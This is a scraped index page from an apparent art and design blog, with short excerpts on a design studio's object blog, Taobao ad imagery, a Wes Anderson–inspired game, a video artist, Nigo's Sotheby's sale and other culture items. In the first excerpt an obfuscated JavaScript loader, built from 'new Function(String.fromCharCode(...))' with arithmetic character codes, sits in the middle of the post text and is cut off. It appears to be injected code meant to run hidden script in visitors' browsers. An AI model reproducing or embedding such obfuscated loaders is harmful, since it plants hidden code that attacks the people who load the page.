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Here’s Another Thing from the NY-based design studio Good Thing. The blog invites artists to select any single object and explain its significance–at times in spite of seeming mundanity. In line with the studio’s catalogue of witty mini-products, each description must be one sentence.(new Function(String.fromCharCode(19 – 9, 126 – 8, 100 – 3, 122 – 8, [...]


The extremes in which capitalism tries to arouse desire overflow in Taobao, the Chinese online shopping giant. Images that suspiciously resemble post-internet art litter its pages, but their surreality is common to many advertisements throughout history (if more exaggerated). One wonders how much is lost in translation, how much are disgruntled young creatives finding outlets [...]


Maquisard from Team Maquisard on Vimeo.
Did this a game fall from heaven? Fan metamedia at its finest, Maquisard follows on the heels of the infamous Twin Peaks inspired Black Lodge to digitize a thinly-veiled homage to Wes Anderson’s The Grand Budapest Hotel (2014). Though not as avant-garde as its precursor, Maquisard captures Anderson’s nostalgic charm [...]


Jonathan Keller Keller (aka JK Keller) creates eerie audio-visual manipulations of iconic television shows. A clever tweak to the underlying politics of watching and listening, Keller’s remastered episodes are entrancing. You’ll try hard resist osmosis into the gelatinous trembling image, and the entire series is a spectacularly haptic.


Oh yes, the new data-enhanced Rapha Pro collection looks like a crooked mono.kultur logo in motion. And in case you don’t care about riding, you can also sit, of course. Or take the train, tonight.


This weekend more than 50 national and international designers, artists, and illustrators will present their creations at the 5th edition of the Berlin Graphic Days, taking place at Urban Spree in Berlin. A great chance to not only see, but also buy unique pieces of art, screen printing posters, T-shirts, books, paintings and a lot [...]


New face of Céline is the legendary writer Joan Didion… As a tribute to Didion, Vogue U.S. has re-published one of her essays on self-respect from the year 1961.
“…To such doubtful amulets had my self-respect been pinned, and I faced myself that day with the nonplussed wonder of someone who has come across a vampire [...]


A few days ago, Nigo–designer, DJ, and producer–put his things up for sale; and where else but at Sotheby’s? When asked why, he cited his 25 years in fashion–and why wait to have a sale of estate until you’re dead? Appropriately, the spectacle is a €3.55 million caricature of the excess and solipsism clinging to [...]

Turing Text

Show me your handwriting, and I tell you who you are. Seems like robots are picking up individual handwriting now. Could this be the next Turing Test? Austin based startup Maillift is taking marketing spam to a whole new level. Seamless Salesforce integration, of course.
Some hints on how to tell humans and machines apart.


I’m sure you’ve all heard already: Hyperlapse, the new app from Instragram that can replicate “[w]hat was once only possible with a Steadicam or a $15,000 tracking rig is now possible on your iPhone, for free.” As in the case of DSLRS, smartphone cameras, and–of course–Instagram, Hyperlapse represents the latest in innovations reducing cost and [...]